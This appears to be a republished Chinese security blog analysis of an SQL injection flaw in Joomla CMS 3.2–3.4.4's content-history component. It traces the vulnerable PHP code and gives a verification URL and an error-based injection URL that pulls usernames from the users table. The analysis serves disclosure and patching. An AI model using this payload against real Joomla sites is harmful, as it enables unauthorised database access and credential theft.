Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

Joomla CMS發佈新版本3.4.5,該版本修復了一個高風險性的SQL注入漏洞,3.2至3.4.4版本都受到影響。攻擊者透過該漏洞可以直接獲取獲取資料庫中機密資訊,甚至可以獲取已登入的管理員權限直接進入網站後臺。

 

0x01 原理分析

在Joomla CMS中有一個查看歷史編輯版本的元件(com_contenthistory),該功能照理應該只有管理員才能使用,但是由於開發人員的疏忽,導致該功能不需要特別的權限就能夠使用。通過訪問/index.php?option=com_contenthistory可以使得服務端載入歷史版本處理元件。程式流程會轉到/components/com_contenthistory/contenthistory.php文件中:

<?php
defined('_JEXEC') or die;    
 
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);    
 
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

可以看到該元件載入時並沒有進行相關權限的監測,而Joomla中,一般的後台調用元件 (/administrator/components/下的元件) 都會進行元件對應的權限檢查,例如後台中的com_contact 元件

if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
    return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

但是,程式在處理contenthistory元件時,並沒有檢查權限,程式初始化並設置好元件相關配置後,包含檔案/administrator/components/com_contenthistory/contenthistory.php,其內容如下:

<?php
defined('_JEXEC') or die;    
 
$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

程式初始化基於 contenthistory 元件的控制類 JControllerLegacy,然後直接調用控制類的 execute() 方法,在 execute() 方法中,會調用其控制類中的 display(),代碼位於 /libraries/legacy/controller/legacy.php:

public function display($cachable = false, $urlparams = array())
{
    $document = JFactory::getDocument();
    $viewType = $document->getType();
    $viewName = $this->input->get('view', $this->default_view);
    $viewLayout = $this->input->get('layout', 'default', 'string');    
 
    $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));    
 
    // Get/Create the model
    if ($model = $this->getModel($viewName))
    {
        // Push the model into the view (as default)
        $view->setModel($model, true);
    }
    (...省略...)
    if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
    { (...省略...) }
    else
    {
        $view->display();
    }    
 
    return $this;
}

處理常式從傳遞的參數中獲取 view 和 layout 的參數值進行初始化視圖,並且調用 $model = $this->getModel($viewName) 載入對應資料模型,最終會調用 $view->display() 函數進行視圖處理。

 

Joomla 新版本 3.4.5 中修復的SQL注入漏洞涉及的是歷史查看操作,也就是 view=history 時的程式處理會導致注入。在程式進行資料提取時,會進入 /administrator/components/com_contenthistory/models/history.php 檔中的 getListQuery() 函數:

protected function getListQuery()
{
    // Create a new query object.
    $db = $this->getDbo();
    $query = $db->getQuery(true);    
 
    // Select the required fields from the table.
    $query->select(
        $this->getState(
            'list.select',
            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
        )
    )
    ->from($db->quoteName('#__ucm_history') . ' AS h')
    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))    
 
    // Join over the users for the editor
    ->select('uc.name AS editor')
    ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');    
 
    // Add the list ordering clause.
    $orderCol = $this->state->get('list.ordering');
    $orderDirn = $this->state->get('list.direction');
    $query->order($db->quoteName($orderCol) . $orderDirn);    
 
    return $query;
}

注意下面這段SQL語句構造部分:

$query->select(
    $this->getState(
        'list.select',
        'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
        'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
    )
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

其中 getState() 函數用於獲取模型的屬性和其對應的值,其函式定義位於 /ibraries/legacy/model/legacy.php:

public function getState($property = null, $default = null)
{
    if (!$this->__state_set)
    {
        // Protected method to auto-populate the model state.
        $this->populateState();    
 
        // Set the model state set flag to true.
        $this->__state_set = true;
    }    
 
    return $property === null ? $this->state : $this->state->get($property, $default);
}

然後會調用 populateState() 函數來初始化參數值和提取並過濾某些參數,在 contenthistory 組建中定義有自己的 populateState() 函數:

protected function populateState($ordering = null, $direction = null)
{
    (...省略...)
    // List state information.
    parent::populateState('h.save_date', 'DESC');
}

函數最後,會調用父類的 populateState() 函數,因為該資料模型繼承於 JModelList,所以父類相關代碼位於 /libraries/legacy/model/list.php 中,而在父類該函數的處理中會解析請求中傳遞的 list[] 參數,解析並過濾預設鍵的值,但是卻忽略了 list[select]:

protected function populateState($ordering = null, $direction = null)
{
    (...省略...)
        // Receive & set list options
        if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
        {
            foreach ($list as $name => $value)
            {
                // Extra validations
                switch ($name)
                {
                    case 'fullordering':
                        (...省略...)
                    case 'ordering':
                        (...省略...)
                    case 'direction':
                        (...省略...)
                    case 'limit':
                        (...省略...)
                    default:
                        $value = $value;
                        break;
                }    
 
                $this->setState('list.' . $name, $value);
            }
        }
    (...省略...)

而傳遞 list[select] 參數值最終會被解析到上述元件視圖進行處理時 SQL 語句構建中的 list.select 裡,從而導致了注入。

 

0x02 漏洞演示

通過上面簡單的分析,已經知道了受影響的Joomla版本中,contenthistory元件訪問不受許可權的控制,並且當進行view=history請求時會解析請求參數中 list[select] 的值拼接到SQL語句中。下面是該漏洞的簡單驗證和利用方法。

 

1.漏洞驗證

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因為在進行 SQL 語句拼接的時候,獲取了 list.ordering 進行資料查詢中的 order 操作,若不提供默認會將其設置為資料進行處理,相關處理位於 /libraries/joomla/database/driver.php 的 quoteName() 函數中。

 

因此,訪問上述構造的URL,伺服器會報錯:

2015102603113434189112

2.漏洞利用

因為在 SQL 語句拼接時,程式框架針對每個 from 或者 where 操作進行了換行處理,所以這裡並不能使用 #、– 等符號來注釋掉後面的語句,只能通過報錯注入進行資料提取。但是語句的成功執行有一定的前提條件,也就是傳遞的 item_id 和 type_id 參數值必須於資料庫中有效,同時傳遞 list[ordering] 參數 (空值即可),這樣注入的語句才能夠得到執行,從而進行報錯注入。

 

這裡經過多個漏洞網站的測試可以簡單的使用 item_id=1&type_id=1,當然了為了準確性和有效性,可以通過爆破的方式來得到這兩個參數的有效值,然後再進行注入操作。

(Tips:Joomla 中構造的 SQL 語句中 #_ 最終會在執行前被替換為表首碼)

 

下面是獲取用戶名/密碼雜湊的漏洞演示過程:

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

201510260313109957323

0x03 修復方案

從 https://github.com/joomla/joomla-cms/releases 獲取最新版本進行重新安裝;

從 https://github.com/joomla/joomla-cms/releases 下載相應版本的補丁程式進行升級;

 

0x04 總結

就 Joomla CMS 的用戶量來看,目前還有大量的網站的資料正受到該漏洞的威脅。該漏洞的產生本質上是由於存取控制的缺失和過濾不嚴格造成。存取控制的缺失導致本應只有管理員才能進行訪問和載入的 contenthistory 元件能夠被任意使用者訪問和載入,而參數的過濾不嚴格,導致攻擊者能夠構造出惡意的參數到執行流中產生注入。

原文地址:http://blog.knownsec.com/2015/10/joomla-cms-3-2-3-4-4-sql-injection-vulnerability/

文章來源:http://drops.wooyun.org/papers/9979

圖片來源:https://pixabay.com/

您可能也會喜歡…

發佈留言